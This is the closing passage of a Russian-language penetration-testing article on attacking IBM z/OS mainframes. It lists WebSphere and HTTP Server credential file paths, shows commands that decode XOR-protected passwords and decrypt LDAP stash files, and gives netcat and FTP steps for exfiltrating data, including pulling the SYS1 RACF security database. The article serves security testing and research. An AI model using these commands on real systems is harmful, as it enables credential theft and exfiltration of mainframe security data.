/WebSphere/WAS/<cell>/<node>/App Server/profiles/<profile>/config/cells/ <cell>/security.xml |
Конфигурационные файлы WebSphere |
/usr/lpp/internet/server_root/Admin/ webadmin.passwd |
Файл с административными учетными данными в IBM HTTP Server |
Стоит обратить внимание на конфигурационные файлы WebSphere. Часто содержащиеся в них учетные данные защищены слабым шифрованием и помечены префиксом {XOR}. Их легко дешифровать, например, через скрипт websphere-xor-password-decode-encode.py.
1 |
python2.7 websphere-xor-password-decode-encode.py -d Lz4sLCgwLTs= |
Пароль LDAP может также храниться в специальном stash-файле, который легко дешифровать. Ниже приведен пример создания такого stash-файла:
1 |
/usr/lpp/internet/sbin/htadm -stash stash_file.sth SuperSecretLDAPPass |
Для дешифрования stash-файла можно выполнить следующую команду. Стоит учитывать тот факт, что кодировка в z/OS EBCDIC, и необходимо перевести файл после дешифрования в ASCII.
1 2 |
perl -C0 -n0xF5 -e 'print $_^"\xF5"x length."\n";exit' < key.sth > unstash.key dd conv=ascii if=unstash.key of=unstash_ascii.key |
Эксфильтрация
Пара слов о процессе эксфильтрации. Удобнее всего производить эксфильтрацию через стандартные протоколы FTP, SSH и их утилиты — FTP, SCP, SSH и т. д.
Также можно скачивать данные через утилиту x3270, если нет доступа к другим протоколам.
Еще один действенный, но при этом «грязный» способ — скопировать файлы в директорию со статическими данными HTTP-сервера и обратиться по необходимому пути.
Для эксфильтрации можно использовать утилиту netcat, однако нужно помнить о разнице в кодировке.
1 |
nc -l 4321 < source_file.txt |
1 |
nc zos_ip_address 4321 > destination_file.txt |
Если в рамках тестирования мейнфрейма на проникновение нужно эксфильтровать датасет, то обычно используются утилиты x3270 и FTP. При подключении к FTP-серверу вы получите доступ к пользовательскому датасету и можете скачать данные, которые находятся внутри него.
1 |
get SOME.DATASET.PATH |
Также можно будет попробовать перейти на несколько датасетов назад через ‘..’ и получить доступ к чувствительным данным, например базе данных RACF.
1 2 3 |
cd .. cd SYS1 get RACF |
Если нет возможности напрямую эксфильтровать файл из USS, то можно скопировать его в датасет при помощи следующей команды:
1 |
OGET '/path/to/hfs/file' DATASETNAME BINARY |
Напрямую скачать файл из USS можно через FTP-сервер. После подключения достаточно сменить директорию, к примеру на /tmp, и переходы в дальнейшие директории будут совершаться уже в USS.
Скопировать датасет в файл USS и эксфильтровать можно следующей командой.
1 |
cp -B "//'SYS1.RACF'" /tmp/racf |
Заключение
Мы рассмотрели особенности устройства мейнфрейма и основные векторы атак на него. При этом стоит учитывать, что в статье приведен далеко не исчерпывающий список техник, тактик и процедур, которые могут быть использованы при получении доступа к мейнфрейму. Несмотря на длительное существование подобных систем и их сложность, сообщество по тестированию их на проникновение относительно небольшое. Поэтому стоит воспринимать нашу статью как отправную точку, которая поможет вам при работе с мейнфреймом, и не бояться привносить в это направление что-то новое. Пространство для исследований большое.
В следующей статье мы опишем более подробно внутреннее устройство RACF, а также расскажем об инструменте, который упрощает поиск ошибок конфигурации в RACF через офлайн-изучение базы данных пакета безопасности.
Подход к тестированию на проникновение мейнфреймов на базе z/OS